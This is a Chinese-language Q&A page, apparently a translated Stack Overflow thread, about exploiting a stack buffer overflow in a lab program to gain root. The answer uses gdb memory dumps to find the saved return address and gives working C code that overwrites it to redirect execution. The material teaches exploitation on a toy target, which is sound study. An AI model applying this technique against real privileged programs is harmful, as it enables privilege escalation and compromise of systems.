首页 文章

如何实现缓冲区溢出

提问于
浏览
-1

我试图使用缓冲区溢出来访问root用户(纯粹出于教育目的)

我编写了以下代码来将所需的输入写入坏文件

int main(int argc, char **argv) {
    char buffer[512];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, 512);

    /*First 20 characters for buffer*/
    strcpy(buffer, "a b c d e f g h i j ");

    /*Over write the next 8 characters*/
    strcat(buffer, "a b c d ");

    /*Overwrite return address*/
    strcat(buffer, argv[1]);

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 512, 1, badfile);
    fclose(badfile);
}

这是应该由具有root访问权限的程序执行的代码

int bof(char *str){
    char buffer[20];

    /* The following allows buffer overflow */ 
    strcpy(buffer, str);

    return 1;
  }


int main(int argc, char **argv) {
    char str[BSIZE];
    FILE *badfile;
    char *badfname = "badfile";

    badfile = fopen(badfname, "r");
    fread(str, sizeof(char), BSIZE, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

我希望从badfile读取的输入更改bof的返回地址,以便它将返回到我也写入错误文件输入的代码 . 但是我只是用我当前的代码获得seg错误 . 我知道这意味着我正在将新的返回地址写入错误的内存部分,但我不确定如何找到正确的写入位置 . 我在32位虚拟机上运行,并包含第二段代码的gdb反汇编

Dump of assembler code for function main:
0x080484d6 <main+0>:    lea    0x4(%esp),%ecx
0x080484da <main+4>:    and    $0xfffffff0,%esp
0x080484dd <main+7>:    pushl  -0x4(%ecx)
0x080484e0 <main+10>:   push   %ebp
0x080484e1 <main+11>:   mov    %esp,%ebp
0x080484e3 <main+13>:   push   %ecx
0x080484e4 <main+14>:   sub    $0x224,%esp
0x080484ea <main+20>:   movl   $0x8048623,-0x8(%ebp)
0x080484f1 <main+27>:   movl   $0x804862b,0x4(%esp)
0x080484f9 <main+35>:   mov    -0x8(%ebp),%eax
0x080484fc <main+38>:   mov    %eax,(%esp)
0x080484ff <main+41>:   call   0x80483a0 <fopen@plt>
0x08048504 <main+46>:   mov    %eax,-0xc(%ebp)
0x08048507 <main+49>:   mov    -0xc(%ebp),%eax
0x0804850a <main+52>:   mov    %eax,0xc(%esp)
0x0804850e <main+56>:   movl   $0x200,0x8(%esp)
0x08048516 <main+64>:   movl   $0x1,0x4(%esp)
0x0804851e <main+72>:   lea    -0x20c(%ebp),%eax
0x08048524 <main+78>:   mov    %eax,(%esp)
0x08048527 <main+81>:   call   0x80483e0 <fread@plt>
0x0804852c <main+86>:   lea    -0x20c(%ebp),%eax
0x08048532 <main+92>:   mov    %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x08048535 <main+95>:   call   0x80484a4 <bof>
0x0804853a <main+100>:  movl   $0x804862d,(%esp)
0x08048541 <main+107>:  call   0x80483d0 <puts@plt>
0x08048546 <main+112>:  mov    $0x1,%eax
0x0804854b <main+117>:  add    $0x224,%esp
0x08048551 <main+123>:  pop    %ecx
0x08048552 <main+124>:  pop    %ebp
0x08048553 <main+125>:  lea    -0x4(%ecx),%esp
0x08048556 <main+128>:  ret    
End of assembler dump.
(gdb) 
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080484a4 <bof+0>: push   %ebp
0x080484a5 <bof+1>: mov    %esp,%ebp
0x080484a7 <bof+3>: sub    $0x28,%esp
0x080484aa <bof+6>: mov    0x8(%ebp),%eax
0x080484ad <bof+9>: mov    %eax,0x4(%esp)
0x080484b1 <bof+13>:    lea    -0x14(%ebp),%eax
0x080484b4 <bof+16>:    mov    %eax,(%esp)
0x080484b7 <bof+19>:    call   0x80483b0 <strcpy@plt>
0x080484bc <bof+24>:    lea    -0x14(%ebp),%eax
0x080484bf <bof+27>:    mov    %eax,0x4(%esp)
0x080484c3 <bof+31>:    movl   $0x8048620,(%esp)
0x080484ca <bof+38>:    call   0x80483c0 <printf@plt>
0x080484cf <bof+43>:    mov    $0x1,%eax
0x080484d4 <bof+48>:    leave  
0x080484d5 <bof+49>:    ret    
End of assembler dump.

1 回答

  • 1
    • 免责声明:

    我使用的是带有gcc-4.8.3的窗口7(来自http://mingw-w64.org/doku.php),以及gdb版本7.8(也来自http://mingw-w64.org/doku.php) . 此外,Windows 7似乎没有ASLR,就像我运行这个小测试程序时一样:

    #include <stdio.h>
    
    unsigned long find_start(void)
    {
        __asm__("movl %esp, %eax");
    }
    
    int main()
    {
        printf("0x%X\n", find_start();
        return (0);
    }
    

    我得到相同的内存位置,如下所示:

    Q:\>find_addr1
    0x28fea8
    Q:\>find_addr1
    0x28fea8
    Q:\>find_addr1
    0x28fea8
    

    该程序取自Chris Anley等人的"The Shellcoder's Handbook:Discovering and Exploiting Security Holes" . al . ,评论:"..if you notice that the address the program prints out is different each time, it probably means you're running a distribution with the grsecurity patch, or something similar."如果你有不同的地址,它将使复制以下更难 . 例如,在我的Ubuntu-14.04 LTS系统上运行,我得到以下结果:

    ubuntu:~/projects$ ./find_addr
    0x4F5AF640
    ubuntu:~/projects$ ./find_addr
    0xCE71D3B0
    ubuntu:~/projects$ ./find_addr
    0xD4A21710
    

    好了,既然预赛已经开始了,那就是你的榜样 . 因此,使用您的代码生成'badfile`,我创建了这个文件:

    Q:\SE_test>genFile 0x43434343
        Q:\SE_test>more badfile
        a b c d e f g h i j a b c d 0x43434343ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
        Q:\SE_test>
    

    现在,让我们在GDB下运行易受攻击的程序,并在调用 bof 之前停止 . 此时的反汇编看起来像这样:

    0x004015db <+92>:    call   0x4027b8 <fread>
        => 0x004015e0 <+97>:    lea    0x18(%esp),%eax
           0x004015e4 <+101>:   mov    %eax,(%esp)
           0x004015e7 <+104>:   call   0x401560 <bof>
           0x004015ec <+109>:   movl   $0x40402e,(%esp)
    

    在这一点上,我们可以看一些感兴趣的值 . 首先,在调用 bof0x004015ec )之后记下指令的地址,稍后我们将需要它 . 其次,我们可以检查一些重要的变量和寄存器:

    (gdb) print str
        $1 = "a b c d e f g h i j a b c d 0x43434343\000", '\220' <repeats 473 times>
        (gdb) print $ebp
        $2 = (void *) 0x28fec8
        (gdb) print $esp
        $3 = (void *) 0x28fca0
    

    所以,我们现在知道在内存中找到 main 的激活帧,以及验证你是否正确读取了字符串 . 看看字符串的值,我确实看到了两件可能导致问题的事情;

    • 注意字符串中嵌入的空终止符(\ 000)?这将导致 bof 中的字符串副本停止 . 我们仍然应该得到缓冲区溢出 . 在shell-code中需要注意的事情是,我们不能拥有0x00字节,并期望使用字符串处理函数 .

    • 请注意,我输入的地址(0x43434343)显示为文本而不是地址 . 从我所知道的,这是使用Windows的结果;但是我们仍然可以看到我们写入内存的位置并检查事情是否在正确的位置 .

    现在我们可以进入 bof ,看看我们有什么:

    (gdb) s
         bof (str=0x28fcb8 "a b c d e f g h i j a b c d 0x43434343") at overflow1.c:13
         13     strcpy(buffer, str);
         (gdb) print $esp
         $5 = (void *) 0x28fc60
         (gdb) print $ebp
         $6 = (void *) 0x28fc98
         (gdb) x/80xb 0x28fc60
         0x28fc60:  0x00    0x02    0x00    0x00    0x50    0xfc    0x28    0x00
         0x28fc68:  0x60    0x29    0x76    0x76    0xc4    0xff    0x28    0x00
         0x28fc70:  0xd5    0x8c    0x6e    0x76    0xc7    0x1f    0xa9    0x74
         0x28fc78:  0xfe    0xff    0xff    0xff    0x6f    0xf4    0x6d    0x76
         0x28fc80:  0xe0    0xf3    0x6d    0x76    0xb8    0xfc    0x28    0x00
         0x28fc88:  0xff    0xff    0xff    0xff    0x01    0x00    0x00    0x00
         0x28fc90:  0x00    0x02    0x00    0x00    0x60    0x29    0x76    0x76
         0x28fc98:  0xc8    0xfe    0x28    0x00    0xec    0x15    0x40    0x00
         0x28fca0:  0xb8    0xfc    0x28    0x00    0x01    0x00    0x00    0x00
         0x28fca8:  0x00    0x02    0x00    0x00    0x60    0x29    0x76    0x76
    

    在这一点上,我们开始了解内存的布局,我们也可以查看内存的内容 . 特别有趣的是位于内存位置 0x28fc9c0x28fca0 的值,我已在下图中输入:

    address          contents      
                         +------------+
           0x28fec8      |            |   <-- base pointer for main's stack frame
                         +------------+
                         |            |
                         ~            ~ 
                         ~            ~
                         |            |
                         +------------+
          0x28fca0       | 0x0028fcb8 |   <-- stack pointer for main's stack frame
                         +------------+
          0x28fc9c       | 0x004015ec |   <--- stored eip
                         +------------+
          0x28fc98       | 0x0028fec8 |   <-- base pointer for bof's stack frame
                         +------------+
                         |            |
                         ~            ~ 
                         ~            ~
                         |            |
                         +------------+
          0x28fc60       |            |   <-- stack pointer for bof's stack frame
                         +------------+
    

    查看main的反汇编,我们可以看到调用 bof 之后的下一条指令位于 0x004015ec ,我们可以看到它已经被存储在内存位置 0x0028fc9c 的堆栈上 .

    既然已完成此分析,我们可以执行字符串副本,然后再次查看内存,看看我们've done (remembering that ' a'的ASCII值为0x61,该空间的ASCII值为0x20) . 作为参考,我们可以看到 bof 中的缓冲区位于0x000x28fc7c的内存地址

    (gdb) x/80xb 0x28fc60
      0x28fc60: 0x7c    0xfc    0x28    0x00    0xb8    0xfc    0x28    0x00
      0x28fc68: 0x60    0x29    0x76    0x76    0xc4    0xff    0x28    0x00
      0x28fc70: 0xd5    0x8c    0x6e    0x76    0xc7    0x1f    0xa9    0x74
      0x28fc78: 0xfe    0xff    0xff    0xff    0x61    0x20    0x62    0x20
      0x28fc80: 0x63    0x20    0x64    0x20    0x65    0x20    0x66    0x20
      0x28fc88: 0x67    0x20    0x68    0x20    0x69    0x20    0x6a    0x20
      0x28fc90: 0x61    0x20    0x62    0x20    0x63    0x20    0x64    0x20
      0x28fc98: 0x30    0x78    0x34    0x33    0x34    0x33    0x34    0x33
      0x28fca0: 0x34    0x33    0x00    0x00    0x01    0x00    0x00    0x00
      0x28fca8: 0x00    0x02    0x00    0x00    0x60    0x29    0x76    0x76
    

    我们对存储的eip所在的区域特别感兴趣:

    0x28fca8:  0x00   0x02    0x00    0x00
      0x28fca4:  0x01   0x00    0x00    0x00
      0x28fca0:  0x34   0x33    0x00    0x00
      0x28fc9c:  0x34   0x33    0x34    0x33
      0x28fc98:  0x30   0x78    0x34    0x33
    

    从这看起来,我作为命令行参数输入的第一部分(0x43)覆盖了 bof 的ebp . 由此我怀疑在写出新地址之前需要在字符串中再添加四个字节 . 此外,您可能需要检查以确保正确处理命令行参数 .

    作为对此的测试,我对你的两个程序进行了一些修改:

    首先,生成坏文件的程序被修改为:

    #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
    
      int main(int argc, char **argv)
      {
          char buffer[512];
          FILE *badfile;
          int  ndx;
    
          /* Initialize buffer with 0x90 (NOP instruction) */
          memset(buffer, 0x90, 512);
    
         /*First n-characters for buffer*/
         for(ndx = 0; ndx < atoi(argv[1]); ndx++)
             buffer[ndx] = 'A';
    
        /*Overwrite return address*/
        buffer[ndx++] = 0x7f;
        buffer[ndx++] = 0x15;
        buffer[ndx++] = 0x40;
        buffer[ndx++] = 0x00;
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 512, 1, badfile);
        fclose(badfile);
        return 0;
      }
    

    现在,您的命令行参数允许您在写入新的返回地址之前输入要写入文件的字节数 . 我还修改了你的易受攻击的程序,如下所示:

    #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
    
      #define BSIZE 512
    
      int bof(char *str)
      {
           char buffer[20];
    
           /* The following allows buffer overflow */ 
           strcpy(buffer, str);
    
           return 1;
      }
    
      void output()
      {
           printf("We should never see this\n");
           exit(1);
      }
    
      int main(int argc, char **argv)
      {
          char str[BSIZE];
          FILE *badfile;
          char *badfname = "badfile";
    
          badfile = fopen(badfname, "r");
          fread(str, sizeof(char), BSIZE, badfile);
          bof(str);
    
          printf("Returned Properly\n");
          return 0;
      }
    

    请注意 output 实际上是死代码,但是快速反汇编,我发现 output0x0040157f 开始 . 这是我在上面的genFile代码中输入缓冲区的值 . 现在有几个测试用例:

    Q:\SE_test>gcc -ansi -pedantic -Wall genFile.c -o genFile
    
        Q:\SE_test>gcc -ansi -pedantic -Wall overflow1.c -o overflow1
    
        Q:\SE_test>genFile 28
    
        Q:\SE_test>overflow1
        Returned Properly (see note below)
    
        Q:\SE_test>genFile 32
    
        Q:\SE_test>overflow1
        We should never see this
    
        Q:\SE_test>
    

    注意:在第一次运行中,即使程序显示“正确返回”,程序也会崩溃并且窗口显示“此程序已停止工作对话框” .

    希望这有帮助,如果您有任何其他问题,请询问 . T.

相关问题